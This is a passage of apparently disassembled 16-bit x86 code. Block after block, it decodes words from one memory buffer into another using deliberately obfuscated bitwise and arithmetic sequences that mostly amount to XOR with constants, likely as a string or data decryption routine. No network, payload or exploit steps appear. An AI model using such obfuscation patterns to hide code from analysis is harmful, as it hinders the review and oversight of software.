xor cx, 0xffff
and ax, cx
xor ax, 0xffff
and ax, 0xffff
or ax, 0
xor ax, 0xffff
and ax, 0xacde
and dx, 0x5321
mov cx, ax
and cx, dx
xor ax, dx
or cx, ax
mov word [0x4757b2], cx
mov ax, word [0x4755b4]
xor ax, 0xdc66
mov word [0x4757b4], ax
mov ax, word [0x4755b6]
mov dx, ax
xor dx, 0xffff
or dx, 0x9a59
xor dx, 0xffff
and dx, 0xffff
shl dx, 1
add ax, 0x65a6
xor dx, 0xffff
add ax, dx
add ax, 1
mov word [0x4757b6], ax
mov ax, word [0x4755b8]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
and dx, 0xffff
mov cx, dx
and cx, 0xffff
shl cx, 1
add dx, 0xffff
sub dx, cx
and dx, 0x54ca
xor dx, 0xffff
xor ax, 0xffff
and ax, 0xffff
or ax, 0
and ax, ax
xor ax, 0xffff
and ax, 0xab35
xor ax, 0xffff
xor dx, 0xffff
mov cx, ax
and cx, 0xffff
shl cx, 1
add ax, 0xffff
sub ax, cx
or dx, ax
mov word [0x4757b8], dx
mov ax, word [0x4755ba]
mov cx, ax
and cx, 0xb09f
shl cx, 1
add ax, 0xb09f
sub ax, cx
mov word [0x4757ba], ax
mov ax, word [0x4755bc]
mov cx, ax
xor cx, 0xffff
and cx, 0x5a0e
and ax, 0xa5f1
or cx, ax
mov word [0x4757bc], cx
mov ax, word [0x4755be]
xor ax, 0x66af
mov word [0x4757be], ax
mov ax, word [0x4755c0]
mov cx, ax
and cx, 0x57ed
shl cx, 1
add ax, 0x57ed
sub ax, cx
mov word [0x4757c0], ax
mov ax, word [0x4755c2]
mov cx, ax
and cx, 0x36b7
shl cx, 1
add ax, 0x36b7
sub ax, cx
mov word [0x4757c2], ax
mov dx, word [0x4755c4]
mov ax, dx
and ax, ax
xor ax, 0xffff
and ax, 0xffff
or ax, 0
xor ax, 0xffff
or ax, 0x4ceb
mov cx, dx
and cx, 0xffff
shl cx, 1
add dx, 0xffff
sub dx, cx
or dx, 0xb314
and ax, dx
mov dx, ax
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
and dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
xor dx, 0xffff
mov word [0x4757c4], dx
mov ax, word [0x4755c6]
mov cx, ax
xor cx, 0xffff
and cx, 0x83d1
and ax, 0x7c2e
or cx, ax
mov word [0x4757c6], cx
mov ax, word [0x4755c8]
xor ax, 0x3aa4
mov word [0x4757c8], ax
mov ax, word [0x4755ca]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
and dx, cx
xor dx, 0xffff
and dx, 0x737c
mov cx, ax
or cx, 0x737c
xor cx, 0xffff
xor dx, 0xffff
xor cx, 0xffff
and dx, cx
xor dx, 0xffff
mov cx, dx
xor cx, 0x737c
xor cx, 0xffff
or dx, 0x737c
and dx, cx
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
sub dx, 0xa845
sub dx, 0x737c
add dx, 0xa845
sub ax, dx
mov word [0x4757ca], ax
mov dx, word [0x4755cc]
mov cx, dx
and cx, 0xffff
shl cx, 1
mov ax, dx
add ax, 0xffff
sub ax, cx
mov cx, ax
xor cx, 0xdf1f
xor cx, 0xffff
or ax, 0xdf1f
and ax, cx
and dx, 0x20e0
or ax, dx
mov cx, ax
xor cx, 0xffff
and cx, 0x2073
and ax, 0xdf8c
or cx, ax
xor cx, 0x5aa8
mov word [0x4757cc], cx
mov ax, word [0x4755ce]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
and dx, 0xffff
xor dx, 0xffff
xor dx, 0xffff
or dx, 0
and dx, 0x2b1f
and ax, 0xd4e0
mov si, dx
xor si, 0xffff
xor dx, 0xffff
or si, dx
and ax, ax
xor ax, 0xffff
and si, ax
xor si, 0xffff
mov word [0x4757ce], si
mov ax, word [0x4755d0]
mov si, ax
xor si, 0xffff
xor si, 0xffff
or si, 0xfa70
xor si, 0xffff
and si, 0xffff
and ax, 0xfa70
mov dx, si
xor dx, 0xffff
mov bx, ax
xor bx, 0xffff
mov di, dx
and di, 0x3077
and si, 0xcf88
mov cx, bx
and cx, 0x3077
and ax, 0xcf88
or di, si
or cx, ax
xor di, cx
or dx, bx
xor dx, 0xffff
and dx, 0xffff
or di, dx
xor di, 0x69f9
mov word [0x4757d0], di
mov ax, word [0x4755d2]
mov cx, ax
xor cx, 0xa92
xor cx, 0xffff
mov dx, cx
xor dx, 0xffff
xor cx, 0xffff
and dx, cx
or dx, 0xf56d
xor dx, 0xffff
shl dx, 1
sub dx, 0xa92
mov cx, ax
xor cx, 0xffff
and cx, dx
xor dx, 0xffff
and ax, dx
sub ax, cx
mov word [0x4757d2], ax
mov dx, word [0x4755d4]
mov ax, dx
and ax, ax
xor ax, 0xffff
or ax, ax
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xc4a8
xor ax, 0xffff
xor dx, 0xffff
or dx, 0xc4a8
xor ax, 0xffff
xor dx, 0xffff
or ax, dx
xor ax, 0xffff
and ax, 0xffff
mov cx, ax
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub ax, cx
mov word [0x4757d4], ax
mov ax, word [0x4755d6]
mov cx, ax
and cx, 0x532
shl cx, 1
add ax, 0x532
sub ax, cx
mov word [0x4757d6], ax
mov ax, word [0x4755d8]
mov dx, ax
xor dx, 0x223a
xor dx, 0xffff
mov cx, dx
xor cx, 0x223a
xor cx, 0xffff
or dx, 0x223a
and dx, cx
shl dx, 1
sub dx, 0x223a
sub ax, dx
mov word [0x4757d8], ax
mov ax, word [0x4755da]
mov cx, ax
and cx, 0xe3b7
shl cx, 1
mov dx, ax
add dx, 0xe3b7
sub dx, cx
mov cx, dx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub dx, cx
xor dx, 0xffff
or dx, 0x1c48
xor dx, 0xffff
and dx, 0xffff
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
sub dx, 0xe3b7
sub ax, dx
mov word [0x4757da], ax
mov ax, word [0x4755dc]
mov si, ax
xor si, 0xffff
mov cx, ax
xor cx, 0xffff
or si, cx
and si, 0xdb43
xor si, 0xffff
mov cx, ax
xor cx, 0xffff
or cx, 0xdb43
and si, cx
xor si, 0xffff
mov dx, si
xor dx, 0xffff
xor si, 0xffff
or dx, si
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
or dx, 0
and dx, 0xdb43
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
sub dx, 0xdb43
sub ax, dx
mov word [0x4757dc], ax
mov ax, word [0x4755de]
mov cx, ax
xor cx, 0xffff
and cx, 0x3432
and ax, 0xcbcd
or cx, ax
mov word [0x4757de], cx
mov ax, word [0x4755e0]
mov dx, ax
and dx, 0x21dc
mov cx, dx
and cx, 0xfffd
mov si, dx
xor si, 0xffff
and si, 2
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add ax, 0x21dc
sub ax, dx
mov word [0x4757e0], ax
mov ax, word [0x4755e2]
xor ax, 0xe2d
mov word [0x4757e2], ax
mov dx, word [0x4755e4]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
and ax, 0xf80
xor ax, 0xffff
xor dx, 0xffff
or dx, 0xf80
and ax, dx
xor ax, 0xffff
mov word [0x4757e4], ax
mov ax, word [0x4755e6]
xor ax, 0x49c7
mov word [0x4757e6], ax
mov ax, word [0x4755e8]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
or dx, 0xf2e7
mov cx, ax
xor cx, 0xffff
or cx, 0xd18
and dx, cx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
or dx, 0
and dx, 0xd18
shl dx, 1
add dx, 0xf2e7
add dx, 1
sub ax, dx
mov word [0x4757e8], ax
mov ax, word [0x4755ea]
xor ax, 0x75c1
mov word [0x4757ea], ax
mov ax, word [0x4755ec]
xor ax, 0xd779
mov word [0x4757ec], ax
mov ax, word [0x4755ee]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
or dx, 0x6b41
xor ax, 0xffff
or ax, 0x94be
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x4757ee], dx
mov dx, word [0x4755f0]
mov ax, dx
xor ax, 0xffff
mov si, dx
or si, si
xor si, 0xffff
xor si, 0xffff
and si, 0xffff
or si, 0
xor si, 0xffff
and ax, si
xor ax, 0xffff
and ax, 0xffff
or ax, 0
and ax, 0x64c3
xor dx, 0xffff
mov cx, dx
add cx, 1
xor dx, 0xffff
or dx, 0x9b3c
add dx, cx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
xor cx, 0xffff
and cx, 0xffff
shl cx, 1
sub cx, 0xffff
sub dx, cx
mov si, ax
xor si, 0xffff
mov cx, dx
xor cx, 0xffff
or si, cx
and ax, dx
xor ax, 0xffff
and si, ax
xor si, 0xffff
mov word [0x4757f0], si
mov ax, word [0x4755f2]
xor ax, 0xf387
mov word [0x4757f2], ax
mov ax, word [0x4755f4]
xor ax, 0x16eb
mov word [0x4757f4], ax
mov dx, word [0x4755f6]
mov si, dx
xor si, 0xffff
and si, 0x95c9
mov ax, dx
and ax, 0x6a36
or si, ax
xor si, 0x6a36
and si, 0xef6
and dx, 0xf109
mov ax, si
xor ax, 0xffff
xor si, 0xffff
or ax, si
mov cx, dx
xor cx, 0xffff
xor dx, 0xffff
or cx, dx
xor ax, 0xffff
xor cx, 0xffff
or ax, cx
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
and dx, 0x1bd8
xor dx, 0xffff
xor ax, 0xffff
or ax, 0x1bd8
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x4757f6], dx
mov ax, word [0x4755f8]
xor ax, 0x4ea3
mov word [0x4757f8], ax
mov dx, word [0x4755fa]
mov ax, dx
and ax, ax
xor ax, 0xffff
xor ax, 0xffff
or ax, 0x828e
and dx, 0x828e
xor dx, 0xffff
and ax, dx
xor ax, 0xffff
mov word [0x4757fa], ax
mov ax, word [0x4755fc]
xor ax, 0x8b7b
mov word [0x4757fc], ax
mov dx, word [0x4755fe]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
and ax, cx
mov cx, ax
and cx, 0xc858
xor cx, 0xffff
add ax, 0xc858
add ax, 1
add ax, cx
xor ax, 0xffff
xor dx, 0xffff
and dx, 0xffff
or dx, 0
mov cx, dx
add cx, 1
xor dx, 0xffff
or dx, 0xc858
add dx, cx
mov si, ax
or si, dx
xor si, 0xffff
xor ax, 0xffff
xor dx, 0xffff
and ax, dx
or si, ax
xor si, 0xffff
xor si, 0xffff
mov word [0x4757fe], si
mov ax, word [0x475600]
xor ax, 0x9b9
mov word [0x475800], ax
mov dx, word [0x475602]
mov ax, dx
xor ax, 0xffff
xor ax, 0xffff
or ax, 0x8da
xor ax, 0xffff
and ax, 0xffff
mov cx, dx
xor cx, 0xf725
and cx, dx
or ax, cx
mov word [0x475802], ax
mov ax, word [0x475604]
xor ax, 0xedca
mov word [0x475804], ax
mov ax, word [0x475606]
mov dx, ax
xor dx, 0xffff
and dx, 0x8dbd
mov cx, ax
and cx, 0x7242
or dx, cx
xor dx, 0x5187
xor dx, 0xffff
and dx, 0xdc3a
shl dx, 1
sub dx, 0x5721
sub dx, 0xdc3a
add dx, 0x5721
mov cx, ax
xor cx, 0xffff
and cx, dx
xor dx, 0xffff
and ax, dx
sub ax, cx
mov word [0x475806], ax
mov ax, word [0x475608]
mov cx, ax
xor cx, 0xffff
and cx, 0x731b
and ax, 0x8ce4
or cx, ax
xor cx, 0xa53
mov word [0x475808], cx
mov cx, word [0x47560a]
mov ax, cx
xor ax, 0xffff
and ax, 0x2fda
and cx, 0xd025
mov dx, cx
xor dx, 0xffff
mov si, ax
and si, dx
mov dx, ax
xor dx, cx
add ax, dx
sub ax, si
mov word [0x47580a], ax
mov ax, word [0x47560c]
mov si, ax
xor si, 0xffff
and si, 0xffff
or si, 0
mov dx, si
xor dx, 0xffff
or dx, 0x1213
xor si, 0xffff
or si, 0x1213
and dx, si
xor dx, 0xffff
mov cx, ax
xor cx, 0x1213
xor cx, 0xffff
or ax, 0x1213
and ax, cx
or dx, ax
mov word [0x47580c], dx
mov ax, word [0x47560e]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
and dx, 0x6903
xor dx, 0xffff
xor ax, 0xffff
or ax, 0x6903
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x47580e], dx
mov ax, word [0x475610]
mov cx, ax
xor cx, 0xffff
and cx, 0x8540
and ax, 0x7abf
or cx, ax
xor cx, 0x52d2
mov word [0x475810], cx
mov cx, word [0x475612]
mov ax, cx
xor ax, 0xffff
and ax, 0x55fe
and cx, 0xaa01
or ax, cx
mov cx, ax
xor cx, 0xffff
and cx, 0xaa9a
and ax, 0x5565
or cx, ax
xor cx, 0xf23c
mov word [0x475812], cx
mov ax, word [0x475614]
mov cx, ax
xor cx, 0xffff
and cx, 0x1e1d
and ax, 0xe1e2
or cx, ax
mov word [0x475814], cx
mov ax, word [0x475616]
mov cx, ax
xor cx, 0xb384
xor cx, 0xffff
and cx, 0xb384
shl cx, 1
sub cx, 0xb384
sub ax, cx
mov word [0x475816], ax
mov ax, word [0x475618]
mov cx, ax
and cx, 0xb18a
shl cx, 1
add ax, 0xb18a
sub ax, cx
mov word [0x475818], ax
mov ax, word [0x47561a]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
and dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
xor dx, 0xffff
and dx, 0x141e
and ax, 0xebe1
or dx, ax
mov word [0x47581a], dx
mov ax, word [0x47561c]
mov dx, ax
and dx, dx
xor dx, 0xffff
and dx, 0x85b
xor dx, 0xffff
mov cx, ax
xor cx, 0xf7a4
xor cx, 0xffff
or ax, 0xf7a4
and ax, cx
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x47581c], dx
mov ax, word [0x47561e]
mov cx, ax
xor cx, 0xefa7
xor cx, 0xffff
mov dx, ax
or dx, 0xefa7
and dx, cx
shl dx, 1
add ax, 0xefa7
xor ecx, ecx
sub cx, dx
add ax, cx
mov word [0x47581e], ax
mov ax, word [str.R_4]
xor ax, 0x7f49
mov word [0x475820], ax
mov dx, word [0x475622]
mov ax, dx
or ax, ax
xor ax, 0xffff
or ax, 0xcadb
xor ax, 0xffff
or dx, 0x3524
xor dx, 0xffff
or ax, dx
xor ax, 0xffff
mov word [0x475822], ax
mov ax, word [0x475624]
mov cx, ax
and cx, cx
mov si, cx
xor si, 0xffff
xor cx, 0xffff
and si, cx
or si, 0
xor si, 0xffff
or si, 0
xor si, 0xffff
xor si, 0xffff
mov dx, si
or dx, 0xd847
xor dx, 0xffff
or si, 0xd847
xor si, 0xffff
or dx, si
xor dx, 0xffff
xor ax, 0xffff
mov si, ax
xor si, 0xffff
and si, 0xd847
or ax, 0x27b8
xor ax, 0xffff
xor si, 0xffff
xor ax, 0xffff
and si, ax
xor dx, 0xffff
xor si, 0xffff
mov ax, dx
xor ax, 0xffff
mov bx, si
xor bx, 0xffff
mov di, ax
and di, 0x5c75
and dx, 0xa38a
mov cx, bx
and cx, 0x5c75
and si, 0xa38a
or di, dx
or cx, si
xor di, cx
or ax, bx
xor ax, 0xffff
and ax, 0xffff
or di, ax
mov word [0x475824], di
mov ax, word [0x475626]
xor ax, 0x149
mov word [0x475826], ax
mov ax, word [str.q6Y]
xor ax, 0x82c2
mov word [0x475828], ax
mov ax, word [0x47562a]
xor ax, 0xc16a
mov word [0x47582a], ax
mov ax, word [0x47562c]
mov cx, ax
xor cx, 0xffff
and cx, 0x1cd8
and ax, 0xe327
or cx, ax
xor cx, 0x4475
mov word [0x47582c], cx
mov ax, word [0x47562e]
mov dx, ax
and dx, 0x9fe3
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
sub ax, 0x601d
xor ecx, ecx
sub cx, dx
add ax, cx
mov word [0x47582e], ax
mov ax, word [0x475630]
mov cx, ax
xor cx, 0xffff
and cx, 0xd8af
and ax, 0x2750
or cx, ax
mov word [0x475830], cx
mov dx, word [0x475632]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
and ax, 0x6832
xor ax, 0xffff
xor dx, 0xffff
or dx, 0x6832
and ax, dx
xor ax, 0xffff
mov word [0x475832], ax
mov ax, word [0x475634]
mov cx, ax
xor cx, 0xe492
xor cx, 0xffff
and cx, 0xe492
shl cx, 1
sub cx, 0xe492
sub ax, cx
mov word [0x475834], ax
mov ax, word [0x475636]
mov cx, ax
and cx, 0xcd59
shl cx, 1
add ax, 0xcd59
sub ax, cx
mov word [0x475836], ax
mov ax, word [0x475638]
mov cx, ax
xor cx, 0xffff
and cx, 0x5660
and ax, 0xa99f
or cx, ax
mov word [0x475838], cx
mov ax, word [0x47563a]
xor ax, 0xdec4
mov word [0x47583a], ax
mov dx, word [0x47563c]
mov ax, dx
xor ax, 0xffff
and ax, 0xffff
or ax, 0
mov cx, ax
xor cx, 0xc1cc
xor cx, 0xffff
or ax, 0xc1cc
and ax, cx
mov si, dx
xor si, 0xffff
xor dx, 0xffff
and si, dx
or si, 0xc1cc
xor si, 0xffff
mov dx, ax
xor dx, 0xffff
mov bx, si
xor bx, 0xffff
mov di, dx
and di, 0xebf3
and ax, 0x140c
mov cx, bx
and cx, 0xebf3
and si, 0x140c
or di, ax
or cx, si
xor di, cx
or dx, bx
xor dx, 0xffff
and dx, 0xffff
or di, dx
mov word [0x47583c], di
mov ax, word [0x47563e]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
or dx, 0x861b
mov cx, ax
xor cx, 0xffff
or cx, 0x79e4
xor dx, 0xffff
xor cx, 0xffff
or dx, cx
or dx, dx
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
and dx, 0x79e4
shl dx, 1
sub dx, 0x79e4
sub ax, dx
mov word [0x47583e], ax
mov ax, word [0x475640]
mov cx, ax
xor cx, 0x1f4c
xor cx, 0xffff
and cx, 0x1f4c
shl cx, 1
sub cx, 0x1f4c
sub ax, cx
mov word [0x475840], ax
mov cx, word [0x475642]
mov ax, cx
xor ax, 0xffff
and ax, 0x2b3d
and cx, 0xd4c2
mov dx, ax
or dx, cx
xor dx, 0xffff
or ax, cx
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x475842], dx
mov cx, word [0x475644]
mov ax, cx
xor ax, 0xffff
and ax, 0x4a9e
and cx, 0xb561
mov dx, cx
xor dx, 0xffff
mov si, ax
and si, dx
mov dx, ax
xor dx, cx
add ax, dx
sub ax, si
mov word [0x475844], ax
mov dx, word [0x475646]
mov ax, dx
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
or ax, cx
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
xor ax, 0x4714
and ax, 0x4714
mov cx, dx
add cx, 1
xor dx, 0xffff
or dx, 0xb8eb
add dx, cx
mov cx, ax
and cx, dx
xor ax, dx
or cx, ax
xor cx, 0xbaa1
mov word [0x475846], cx
mov ax, word [0x475648]
xor ax, 0x6096
mov word [0x475848], ax
mov ax, word [0x47564a]
xor ax, 0xbbe4
mov word [0x47584a], ax
mov ax, word [0x47564c]
xor ax, 0x7594
mov word [0x47584c], ax
mov ax, word [0x47564e]
mov dx, ax
xor dx, 0xffff
and dx, 0xd833
mov cx, ax
and cx, 0x27cc
or dx, cx
xor dx, 0x27cc
mov cx, dx
xor cx, 0x9108
xor cx, 0xffff
or dx, 0x9108
and dx, cx
mov cx, ax
add cx, 1
xor ax, 0xffff
or ax, 0x6ef7
add ax, cx
or dx, ax
mov word [0x47584e], dx
mov ax, word [0x475650]
xor ax, 0xe8fb
mov word [0x475850], ax
mov ax, word [0x475652]
mov dx, ax
and dx, dx
mov cx, ax
xor cx, cx
or dx, cx
mov cx, dx
and cx, 0xffff
shl cx, 1
add dx, 0xffff
sub dx, cx
xor dx, 0xffff
and dx, 0xa4c8
xor ax, 0xffff
and ax, 0x5b37
xor dx, 0xffff
xor ax, 0xffff
and ax, 0xffff
or ax, 0
and dx, ax
mov word [0x475852], dx
mov ax, word [0x475654]
mov cx, ax
or cx, cx
mov dx, cx
xor dx, 0xffff
and dx, 0x8316
and cx, 0x7ce9
or dx, cx
xor dx, 0x7ce9
xor dx, 0xffff
mov si, dx
xor si, 0xffff
or si, 0x7f7d
and dx, 0x8082
xor dx, 0xffff
xor si, 0xffff
xor dx, 0xffff
or si, dx
xor ax, 0xffff
and ax, 0x7f7d
or si, ax
xor si, 0xffff
mov word [0x475854], si
mov ax, word [0x475656]
mov cx, ax
and cx, 0x9c04
shl cx, 1
add ax, 0x9c04
sub ax, cx
mov word [0x475856], ax
mov ax, word [0x475658]
xor ax, 0x4a9
mov word [0x475858], ax
mov ax, word [0x47565a]
mov dx, ax
and dx, 0xcdec
shl dx, 1
add ax, 0xcdec
mov cx, ax
xor cx, 0xffff
and cx, dx
xor dx, 0xffff
and ax, dx
sub ax, cx
mov word [0x47585a], ax
mov dx, word [0x47565c]
mov si, dx
and si, si
mov ax, dx
xor ax, ax
or si, ax
mov ax, si
and ax, 0xffff
shl ax, 1
add si, 0xffff
sub si, ax
mov ax, si
xor ax, 0xffff
xor si, 0xffff
or ax, si
and ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
xor ax, 0xffff
and ax, 0xc7ee
mov si, dx
xor si, 0xffff
and si, 0x3811
xor dx, 0xffff
and dx, 0x3811
or si, dx
xor si, 0xffff
mov cx, si
and cx, 0xffff
shl cx, 1
add si, 0xffff
sub si, cx
mov dx, ax
xor dx, 0xffff
and dx, 0x7921
and ax, 0x86de
or dx, ax
xor dx, 0x86de
xor si, 0xffff
and dx, si
mov word [0x47585c], dx
mov ax, word [0x47565e]
mov dx, ax
xor dx, 0xffff
and dx, 0xffff
or dx, 0
mov cx, dx
xor cx, 0x7f46
xor cx, 0xffff
or dx, 0x7f46
and dx, cx
mov cx, ax
xor cx, 0x80b9
xor cx, 0xffff
or ax, 0x80b9
and ax, cx
or dx, ax
mov word [0x47585e], dx
mov ax, word [0x475660]
xor ax, 0x739a
mov word [0x475860], ax
mov ax, word [0x475662]
xor ax, 0x4ab5
mov word [0x475862], ax
mov ax, word [0x475664]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
and dx, 0x92f
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or cx, 0x92f
and dx, cx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0xffff
or dx, 0
and dx, 0x92f
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add dx, 0xf6d1
mov cx, ax
xor cx, 0xffff
and cx, dx
xor dx, 0xffff
and ax, dx
sub ax, cx
mov word [0x475864], ax
mov ax, word [0x475666]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
or dx, 0
xor dx, 0xffff
or dx, 0
and dx, 0x90df
xor ax, 0xffff
or ax, 0x90df
xor ax, 0xffff
and ax, 0xffff
or dx, ax
mov word [0x475866], dx
mov ax, word [0x475668]
mov cx, ax
xor cx, 0xffff
and cx, 0x12a
and ax, 0xfed5
or cx, ax
xor cx, 0xbdd6
mov word [0x475868], cx
mov ax, word [0x47566a]
xor ax, 0xbb86
mov word [0x47586a], ax
mov ax, word [0x47566c]
mov dx, ax
and dx, 0xb828
mov si, dx
xor si, 0xffff
mov cx, si
and cx, 2
or si, 2
xor si, 0xffff
imul si, cx
mov cx, dx
and cx, 2
or dx, 2
imul dx, cx
add dx, si
add ax, 0x8cd6
add ax, 0xb828
sub ax, 0x8cd6
xor dx, 0xffff
add ax, dx
add ax, 1
mov word [0x47586c], ax
mov dx, word [0x47566e]
mov ax, dx
or ax, ax
xor ax, 0xffff
xor ax, 0xffff
or ax, ax
xor ax, 0xffff
or ax, 0x9405
xor ax, 0xffff
xor dx, 0xffff
xor dx, 0xffff
or dx, 0x6bfa
xor dx, 0xffff
and dx, 0xffff
mov si, ax
and si, dx
xor ax, dx
or si, ax
mov ax, si
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
shl ax, 1
sub ax, 0xffff
sub si, ax
mov word [0x47586e], si
mov dx, word [0x475670]
mov si, dx
xor si, 0xffff
mov ax, si
and ax, 0x671
xor ax, 0xffff
xor si, 0xffff
or si, 0xf98e
xor ax, 0xffff
xor si, 0xffff
or ax, si
mov si, dx
and si, 0xf98e
xor si, 0xffff
and dx, 0xf98e
xor dx, 0xffff
xor si, 0xffff
xor dx, 0xffff
or si, dx
mov dx, ax
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
and si, si
xor si, 0xffff
and dx, si
xor dx, 0xffff
mov ax, dx
and ax, 0xc04f
shl ax, 1
add dx, 0xc04f
sub dx, ax
mov word [0x475870], dx
mov ax, word [0x475672]
mov cx, ax
xor cx, 0x1003
xor cx, 0xffff
mov dx, ax
or dx, 0x1003
and dx, cx
shl dx, 1
add ax, 0xfa49
add ax, 0x1003
sub ax, 0xfa49
sub ax, dx
mov word [0x475872], ax
mov ax, word [0x475674]
mov cx, ax
add cx, 1
mov dx, ax
xor dx, 0xffff
or dx, 0x326f
add dx, cx
shl dx, 1
add ax, 0x326f
xor dx, 0xffff
add ax, dx
add ax, 1
mov word [0x475874], ax
mov ax, word [0x475676]
mov cx, ax
and cx, 0xd6b5
shl cx, 1
add ax, 0xd6b5
sub ax, cx
mov word [0x475876], ax
mov ax, word [0x475678]
xor ax, 0x4f45
mov word [0x475878], ax
mov dx, word [0x47567a]
mov ax, dx
or ax, ax
xor ax, 0xffff
mov cx, dx
xor cx, 0xffff
mov si, dx
xor si, 0xffff
and cx, si
xor ax, 0xffff
xor cx, 0xffff
and ax, cx
xor ax, 0xffff
xor ax, 0xffff
or ax, 0x61a9
mov si, dx
xor si, 0x9e56
and si, dx
mov cx, si
and cx, 0xffff
shl cx, 1
add si, 0xffff
sub si, cx
xor ax, 0xffff
xor si, 0xffff
or ax, si
mov word [0x47587a], ax
mov ax, word [0x47567c]
mov cx, ax
or cx, cx
xor cx, 0xffff
mov si, cx
xor si, 0xffff
and si, 0x3e15
and cx, 0xc1ea
or si, cx
xor si, 0xc1ea
mov dx, si
xor dx, 0xf85b
and dx, si
or ax, 0x7a4
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x47587c], dx
mov ax, word [0x47567e]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
and dx, cx
or dx, 0x7792
xor dx, 0xffff
xor ax, 0xffff
and ax, 0x7792
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x47587e], dx
mov ax, word [0x475680]
mov cx, ax
xor cx, 0xffff
and cx, 0x82fb
and ax, 0x7d04
or cx, ax
mov word [0x475880], cx
mov ax, word [0x475682]
mov dx, ax
xor dx, 0xdbe5
xor dx, 0xffff
mov cx, dx
xor cx, 0xdbe5
xor cx, 0xffff
or dx, 0xdbe5
and dx, cx
shl dx, 1
add dx, 0x241b
sub ax, dx
mov word [0x475882], ax
mov ax, word [0x475684]
xor ax, 0xbc4
mov word [0x475884], ax
mov dx, word [0x475686]
mov ax, dx
or ax, ax
xor ax, 0xffff
or ax, 0
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xffff
and ax, 0xd3cb
and dx, 0x2c34
or ax, dx
mov dx, ax
or dx, dx
xor dx, 0xffff
xor dx, 0xffff
and dx, 0x22f
or ax, 0x22f
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
and dx, ax
mov word [0x475886], dx
mov ax, word [0x475688]
mov dx, ax
xor dx, 0xffff
mov cx, ax
xor cx, 0xffff
or dx, cx
xor dx, 0xffff
or dx, 0xe3dd
xor ax, 0xffff
or ax, 0x1c22
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x475888], dx
mov dx, word [0x47568a]
mov ax, dx
xor ax, 0xffff
or ax, ax
xor ax, 0xffff
xor ax, 0xffff
and ax, 0xe181
mov si, dx
xor si, 0xffff
or si, 0xe181
xor dx, 0xffff
or dx, 0xe181
xor si, 0xffff
xor dx, 0xffff
or si, dx
or ax, si
mov dx, ax
and dx, dx
xor dx, 0xffff
and dx, 0x5cc9
xor dx, 0xffff
and ax, 0xa336
xor ax, 0xffff
xor dx, 0xffff
xor ax, 0xffff
or dx, ax
mov word [0x47588a], dx
mov ax, word [0x47568c]
mov cx, ax
and cx, 0x9f05
shl cx, 1
add ax, 0x9f05
sub ax, cx
mov word [0x47588c], ax
mov ax, word [0x47568e]
xor ax, 0x2c7c
mov word [0x47588e], ax
mov ax, word [0x475690]
